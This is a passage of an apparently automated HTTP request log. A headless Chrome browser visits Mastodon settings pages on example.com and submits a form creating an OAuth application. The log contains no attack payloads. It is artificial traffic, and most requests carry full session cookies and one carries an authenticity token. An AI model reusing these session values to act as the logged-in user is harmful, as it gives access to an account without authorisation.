_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTAuMTcyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6dd0e6137fbb0cb22b7d7ad5055bd2a325323755; _mastodon_session=orpoDp0vzOcOZpJ%2F3gSFEP8t4VRjgdf114XVhWVIpVBBQrlAsSzV9w1vZcgAhYfNfscF4gQUHMnk2nn%2BfR7wkeXvWMw%2FisV9cRhR%2BmuK%2BMrhysBgzfKUlHjuoa1SFwofWw9as5bDlO3%2Fde1ho3o7Lj1HmzjVQBhZGkK%2FdVZXnNczsG95kRaWkxcnTxT4DPg0Chj3KA9D2D1rRVkFtKlgjYg1JMDeZ2bqjACpHA1SyqinrZC%2Fm7aQLqatWzuyI2SuA9V%2B2Hhexqd7bu7lLBazYzlM2rrDBrKTnIwANx0zJvrieG0RSvUu3IVZqb0UuW7UKRBdg%2BvirMXvJ%2FArL5GA5IV5rywPIVqVPCaNBRv8K4NDzlco2p63lobkCu5ApaiVFjH03WBtA4u2GkpDwfKnhx%2FVTwO9D1Sf0HYmDXfXamD0zEj%2BDcxbVcvRiuNFRzDv2KOxXipY9cJ%2FXzrKNJmQDCAMUfikyupCFEHX3v%2FO3Qq6xqGmZBDZUqW4QxlkKrDK9YUm80%2FrG962MMhKgk0KRL6SvPE3uAlAiNtJrsCgqsH6CJoj5wFvEuEbXhRdBXox7fngEpgX9Cii%2BzJgZgSEfj4lTW6dB3Ps%2BjYVOOqmwRBc13RKxlOZ%2Fe0%3D--DWesOan0ml8KckSk--J4ROP2eU7rGOUzkIJ6n4Gw%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/migration", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTAuMTk1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--46e7201434ebe8a20ac4aa35444b87a0b3a9fcbd; _mastodon_session=4r2Y7fpl%2BrFPdjLC59fNkTTIvtf2ccVkX%2B9lYiwfrNZewpbiXjxlhD2PJ0SbwD6OeHRufF91YZls3CRLTAXblRlGAqIOPIQUYQbVnzwihu0aoDwmsWxCLTrmTbAtNmrGC8iOcOj%2FbPfVhuN31k3g0NrVbHKzvcwyvazGy6JmVBjBYYEOIMItxk6J74KR6Cs%2FxuiMQpvFEjOx%2FsL%2BlNfjX0BE3OXr4IJvXewUNOlcjDY5nCPn%2Bf%2FnkjOO1Axef4mMSR2LMdaIfACWBaz4KpSDroEQWtuWIJ4VLMjwiK5SU3PnZvQd2hZI0B6glmsJaxDrXMr2Dt2Vw%2BERR5XcUTHS1oGDWeFB%2BaC%2FXmq59CbGfbR86D4CusD12RLgsKF1s4JerFnPr3aWZyqD--t7ziTsV%2BrTdUgWry--vWUALKiy6eo4yh%2BjlmX%2BFA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/store-Dt6FPjVX.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/migration", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTAuMjg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--cd5f0561a741951534c36b10e683b1a59aaa4d89; _mastodon_session=xuymMx%2Fzzq1GDge2Dybaq4wfCq8p0a1wClkb8dk5ZJWwUO%2Bwoc2VbstLDdQnw%2Fys2Xi9SgrDh4aqQ0z3Z1C1vS6klngzit44jvZRsanazAhRIQRa8STE9O3Io1YI46RfSr7gdzEbWECmp7PLmPivoO8gps%2BUltuXMrkI9IYwN7GnQZuhTIRvo2dVKkgewOt7xtF%2BMLVo3YPaEDBSucFxVcjTjSDLoco42tpbHgw4QSafygANH9Nf4EYyT%2BIKHBK2veZb%2FxZFOwlI45vGi46%2BpnV7hFvAwwb%2FQTwhLkyLRzsU5JMhWCxir20JhUEC6iThhuaD1DHxgdU2%2FuvrA3TdhNauKDskhIuAmaSQIhT%2Foo5sreI0ptJaOS3ylfaibfgixvsGxISQyBLq--s6o5NOH262Uk%2FlBz--Wtkcm0l8p8NmwWpkbUQyHQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/export", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTAuMjg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--cd5f0561a741951534c36b10e683b1a59aaa4d89; _mastodon_session=xuymMx%2Fzzq1GDge2Dybaq4wfCq8p0a1wClkb8dk5ZJWwUO%2Bwoc2VbstLDdQnw%2Fys2Xi9SgrDh4aqQ0z3Z1C1vS6klngzit44jvZRsanazAhRIQRa8STE9O3Io1YI46RfSr7gdzEbWECmp7PLmPivoO8gps%2BUltuXMrkI9IYwN7GnQZuhTIRvo2dVKkgewOt7xtF%2BMLVo3YPaEDBSucFxVcjTjSDLoco42tpbHgw4QSafygANH9Nf4EYyT%2BIKHBK2veZb%2FxZFOwlI45vGi46%2BpnV7hFvAwwb%2FQTwhLkyLRzsU5JMhWCxir20JhUEC6iThhuaD1DHxgdU2%2FuvrA3TdhNauKDskhIuAmaSQIhT%2Foo5sreI0ptJaOS3ylfaibfgixvsGxISQyBLq--s6o5NOH262Uk%2FlBz--Wtkcm0l8p8NmwWpkbUQyHQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/notification_policies-BXXafP0v.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/export", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTMuMTMyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--396f1f81d6729393cb05e6cce6dfec1c7185eb57; _mastodon_session=K7uewbPnm5gBLj2eztDNnkb7V3wD6AkcPAOLO6NoHHgS0Nwy1rPY2IwGEEv%2BV3sjwdtErXOpnVPaZJIwMKvZkBM5PV6xfzjFXmgEp6wRiFP17wkHc552A7cMVQoUU2FXfxAzsG0zMXN3Wil6gfl5W8tE1147pKHq8Qrmuf17naUPGaLCyhp4r0J1wW6pHHkgvIu3KX%2FW%2BheAJsizr3La8Q79N5hJ6yIr7dO3R9K4PRVuvij78lxiMAsPH69dB%2Fsu6sIrUDq3IOCzkNXVN7cArz6pa0l6lYXXwCHiZim7QUnqS6k3vZC%2BNaJzcqBRdlyTLQZE7tmJqnd3O4FVn40WLeXjpfUiQ49k6PnaX9XJKz5Yh4HwuE%2BtcWlGhvpmoD1Joa9fOMmr5n27--R9qLhfIvK6p6l%2B6u--8Ahqyw0%2FwvyfWM4DXZ1bpQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/imports", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTMuMTMyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--396f1f81d6729393cb05e6cce6dfec1c7185eb57; _mastodon_session=K7uewbPnm5gBLj2eztDNnkb7V3wD6AkcPAOLO6NoHHgS0Nwy1rPY2IwGEEv%2BV3sjwdtErXOpnVPaZJIwMKvZkBM5PV6xfzjFXmgEp6wRiFP17wkHc552A7cMVQoUU2FXfxAzsG0zMXN3Wil6gfl5W8tE1147pKHq8Qrmuf17naUPGaLCyhp4r0J1wW6pHHkgvIu3KX%2FW%2BheAJsizr3La8Q79N5hJ6yIr7dO3R9K4PRVuvij78lxiMAsPH69dB%2Fsu6sIrUDq3IOCzkNXVN7cArz6pa0l6lYXXwCHiZim7QUnqS6k3vZC%2BNaJzcqBRdlyTLQZE7tmJqnd3O4FVn40WLeXjpfUiQ49k6PnaX9XJKz5Yh4HwuE%2BtcWlGhvpmoD1Joa9fOMmr5n27--R9qLhfIvK6p6l%2B6u--8Ahqyw0%2FwvyfWM4DXZ1bpQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/filters-B_-6iXPk.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/imports", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTUuOTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9a1696ca1dfa279bbc6f4b97992cb7cfd0d03676; _mastodon_session=KRJKKRb7MgakMzt%2BbD734MTG8lOpTpcp9yj3DnDD4bSmLtbKT6ppCEZTUvVDbCU4RfKEf0K2CWuiFujPELjqiP90Kis6lIlNP8m3LjvYZOIASKiN0QjbNjZdPMyarshxrcGEohceZKOZzg%2BruWqNySXEAKrWFbZp4VRzaa8yramKV3tj04YFjYYO0AwhTQK2W%2BlcodjvX9utKq%2FqNA00y21nTtG89PUAEJrvE99IzVLsJX59R6kllMY%2BVnpkL%2Bs5GznRgOaAQr8zd58YfOMEW0QnMN1yB9PK%2FYvDQgtt3asTgw7JoUINfC2je1nh5h9lpdEVq1VVatTFvKBiwTALs4CSmCKGVLey%2BOOoMpTYLQ1qTf7SDzAYzDPrA0ypTMTYLr4J6mk9C0I%2B--nt%2BlonKcYnDO%2Fgau--EneTLYxBRr2cWvp57%2FOzHA%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/applications/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTUuOTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9a1696ca1dfa279bbc6f4b97992cb7cfd0d03676; _mastodon_session=KRJKKRb7MgakMzt%2BbD734MTG8lOpTpcp9yj3DnDD4bSmLtbKT6ppCEZTUvVDbCU4RfKEf0K2CWuiFujPELjqiP90Kis6lIlNP8m3LjvYZOIASKiN0QjbNjZdPMyarshxrcGEohceZKOZzg%2BruWqNySXEAKrWFbZp4VRzaa8yramKV3tj04YFjYYO0AwhTQK2W%2BlcodjvX9utKq%2FqNA00y21nTtG89PUAEJrvE99IzVLsJX59R6kllMY%2BVnpkL%2Bs5GznRgOaAQr8zd58YfOMEW0QnMN1yB9PK%2FYvDQgtt3asTgw7JoUINfC2je1nh5h9lpdEVq1VVatTFvKBiwTALs4CSmCKGVLey%2BOOoMpTYLQ1qTf7SDzAYzDPrA0ypTMTYLr4J6mk9C0I%2B--nt%2BlonKcYnDO%2Fgau--EneTLYxBRr2cWvp57%2FOzHA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/settings-Cq4pjZIN.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/applications/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTguODM1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--0468c74e049f35777c29efaca2b6c5df8d9dca6a; _mastodon_session=VteyPKcF3%2FeOC6AjspRbBjxNwSpbp%2BfyTCLyroiOUD44xg2hwc2Uv6L0xMdWndNuuoG5EBKgM7bj%2B%2BMUQskDjAWBu%2FE%2FCwBkzHfKsYOxmqkAjxFP84zFNLL%2FWqKzlUVdtfP%2FC%2By3on%2B9joUAG98ODtMlHl9zFyQWBBKYXrX8467YTi6L1jIccVN5OCRfF3fMUy18guVXGC%2BaM3Mpqqm9RhTP2K3TrbbgBN%2FvY9tw6v7dHJ8n59sUnMbYb0ov9X%2FIw9mAzvx4mYEq83%2BpO4iuEQZTa8hM6oJy0EF6uz80nSnrAxNOOqt4HOScBf2RsT%2FwV5CimzOEGElU3jPg5pz0IfualjDwCPtTHgh4uiULn0Z3tI6l5jG1Pyw9AyVMvZf5p3zr54PIn%2Fub--axIYg9Lfj9RALDiq--%2BE2s4XXDoyYvT%2FtD5CS2Ew%3D%3D"], "body": ""}
{"method": "POST", "target": "/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 614", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/applications/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTguODM1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--0468c74e049f35777c29efaca2b6c5df8d9dca6a; _mastodon_session=VteyPKcF3%2FeOC6AjspRbBjxNwSpbp%2BfyTCLyroiOUD44xg2hwc2Uv6L0xMdWndNuuoG5EBKgM7bj%2B%2BMUQskDjAWBu%2FE%2FCwBkzHfKsYOxmqkAjxFP84zFNLL%2FWqKzlUVdtfP%2FC%2By3on%2B9joUAG98ODtMlHl9zFyQWBBKYXrX8467YTi6L1jIccVN5OCRfF3fMUy18guVXGC%2BaM3Mpqqm9RhTP2K3TrbbgBN%2FvY9tw6v7dHJ8n59sUnMbYb0ov9X%2FIw9mAzvx4mYEq83%2BpO4iuEQZTa8hM6oJy0EF6uz80nSnrAxNOOqt4HOScBf2RsT%2FwV5CimzOEGElU3jPg5pz0IfualjDwCPtTHgh4uiULn0Z3tI6l5jG1Pyw9AyVMvZf5p3zr54PIn%2Fub--axIYg9Lfj9RALDiq--%2BE2s4XXDoyYvT%2FtD5CS2Ew%3D%3D"], "body": "authenticity_token=7xS2wadIGBN2ohySFEdB51yRgnIC0BqnpJjj6huUfAwshg79AIgLQ9k-nzGll6GLTOidGo3PNsK1JS6iGfYYCg&doorkeeper_application%5Bname%5D=My+python3+app&doorkeeper_application%5Bwebsite%5D=https%3A%2F%2Fexample.org%2Fpowershell&doorkeeper_application%5Bredirect_uri%5D=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&doorkeeper_application%5Bscopes%5D%5B%5D=&doorkeeper_application%5Bscopes%5D%5B%5D=&doorkeeper_application%5Bscopes%5D%5B%5D=profile&doorkeeper_application%5Bscopes%5D%5B%5D=&doorkeeper_application%5Bscopes%5D%5B%5D=&doorkeeper_application%5Bscopes%5D%5B%5D=&doorkeeper_application%5Bscopes%5D%5B%5D=&button="}
{"method": "GET", "target": "/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/applications/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjEuODk0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7e1bf0268347a2e00cd756b381436d085b1256e7; _mastodon_session=S39wtIx%2FVnoD4MGC9Sr89rC7CO5ivaJttIBL578q0BlLTZ7Kk9RaXCw6ifmA085vwybPiSt2FbxDHT7LmAV3lRUeBp%2ForYSA2zlymodQf4mkcmIdTvejcayyie0Pzv6igQ3kuGPK%2FPFOd8ioq4qJY6jzcg7y3MrONZKYR16U7Yi%2Frtt8CsjV1a1R4fHDiUSgk8EbcHO9I2lXNd61HVwaYCszPV0YzZ4A9ZUZiTH3JGpV56GrEW8dEs0wyZ82PELYM6Z8zBAqUXbtluCwwQxW5qJ%2FXhUDiSz7qW9EiEdouYL9QdzHJ2gAT30PJv9gyWWf3i72dViTTyceo%2BLa9RChZ6tkJHHqnhg6b%2BjJssVWjLoconWhVwQJE1RobjMdBSKQS4Lrfz9vb7qmHt2zFopwSid0MyInOgCD1x173uDTnDYtQHlEbIeiFWL%2B0EPRPcm13ynxaWXZIS2G7%2Bnrmg2nvPRcyeDQRQJWY2vH3v6pdn2B0K2pAan0zkuJeKBQBcil702IoF%2BROSMbq6%2BYXfs3WZU%3D--dgkphIpl0ii6jzzr--MW34OvpD%2FsOV%2FjD4w2iPqw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/accounts_typed-Xu0a4dCy.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/applications", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjEuOTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d41065973c1bb08c319ed5594c469cf4da2af0b6; _mastodon_session=FWlHLVe2uuDQR5JbW%2FVUF%2FhtjUfwQJAQp%2BtmIAkmRjBULNixxq7IaYj1xVRKl8NlVrUv8D6Ijf0w87KNI%2FH5kVigHq2mEJ81cUIiXsJDINXdz7dV94s4ttpt7%2BoeZClbVhwOSGLOcNti7%2Fdt9Qg0Sso0p5xTJGpISOsxd%2F7onewqk6g0jEXvabz%2BbcXWoAx%2F4r0%2FxC%2BgWoJ1JiJ0FoNoX94SJ6Nr0GOvcbDGCEGHdVOwVzRbKWoFjOZbHGf3VtBR5ybLz%2Bm%2Bpelfq25q0Wc3EWDVd0KRRIiY2a2lU7eM9hBCkEEP0v0csq0I6Nw80SJtEZi4dZVtSNJ4xa25mlmG3CHyt41ulGTEoggghbio4Vc5J%2FQef%2FKnyU5cDHppYb4Knhn%2FeTo3cPzd--A2UHlZgFFJOUGwSH--Rl%2FRZEts3cIwDYMFJ9uwQA%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjEuOTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d41065973c1bb08c319ed5594c469cf4da2af0b6; _mastodon_session=FWlHLVe2uuDQR5JbW%2FVUF%2FhtjUfwQJAQp%2BtmIAkmRjBULNixxq7IaYj1xVRKl8NlVrUv8D6Ijf0w87KNI%2FH5kVigHq2mEJ81cUIiXsJDINXdz7dV94s4ttpt7%2BoeZClbVhwOSGLOcNti7%2Fdt9Qg0Sso0p5xTJGpISOsxd%2F7onewqk6g0jEXvabz%2BbcXWoAx%2F4r0%2FxC%2BgWoJ1JiJ0FoNoX94SJ6Nr0GOvcbDGCEGHdVOwVzRbKWoFjOZbHGf3VtBR5ybLz%2Bm%2Bpelfq25q0Wc3EWDVd0KRRIiY2a2lU7eM9hBCkEEP0v0csq0I6Nw80SJtEZi4dZVtSNJ4xa25mlmG3CHyt41ulGTEoggghbio4Vc5J%2FQef%2FKnyU5cDHppYb4Knhn%2FeTo3cPzd--A2UHlZgFFJOUGwSH--Rl%2FRZEts3cIwDYMFJ9uwQA%3D%3D"], "body": ""}
{"method": "GET", "target": "/relationships", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjQuODU5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f80387b813e2aa31c2ce960474cb5aea5f6f8239; 